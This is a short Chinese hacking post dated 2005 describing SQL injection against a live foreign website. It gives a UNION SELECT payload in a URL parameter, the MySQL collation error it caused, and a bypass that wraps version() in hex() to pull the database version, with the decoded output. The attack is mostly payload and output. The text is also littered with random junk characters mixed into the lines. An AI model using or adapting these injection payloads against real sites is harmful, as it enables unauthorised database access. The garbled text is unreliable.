本文作者:SuperHei" p+ W6 R4 y' F
文章性质:原创
# n+ T9 b4 ]# r9 t发布日期:2005-10-18
. N5 r' g, v& w4 b6 H测试个国外的站时:1 P' U8 J! x4 ?: D& m
url:?c_id=2%20and%201=2%20union%20select%201,version(),3,4,5,6%20/*
" l' h% U' y9 J返回错误:% z+ n1 |! {/ Q3 M3 A7 E
Illegal mix of collations (euckr_korean_ci,IMPLICIT) and (utf8_general_ci,IMPLICIT) for operation 'UNION' t4 F% N) H, X( H, K; I% D
MySQL Error No. 126
" z) s( s; [; _) ?4 ^7 ]看来是union查询前后字符集(http://dev.mysql.com/doc/mysql/en/Charset-collation-charset.html)不同出现的。5 G$ L7 d& H3 O9 D& }
解决办法:转为其他编码如hex。
' p K6 O0 Y" W0 @url:?c_id=2%20and%201=2%20union%20select%201,hex(version()),3,4,5,6%20/*) j2 V0 a/ U* ^+ {& x
成功得到hex(version())的值为:
9 z. k8 n. s& E7 E342E312E332D62657461$ P4 c' y, g( M+ l
回Mysql查询下得到:
6 X& K6 g. j, H( Z% amysql> select 0x342E312E332D62657461;% O; c9 w$ b4 l% n Z( D
+------------------------+8 J: s* F9 l5 E1 q1 C3 D; q. W
| 0x342E312E332D62657461 |' \) o3 I2 q, X* m0 B9 v
+------------------------+3 m' D8 }# D0 _( w- {
| 4.1.3-beta |
, Y) E; K, l) L% ]' A2 p4 C& i+------------------------+
" ^( v7 M$ D5 Q3 }1 row in set (0.00 sec) D" I& k2 z9 F( S: s: h
1 i& \: I0 g z9 @ |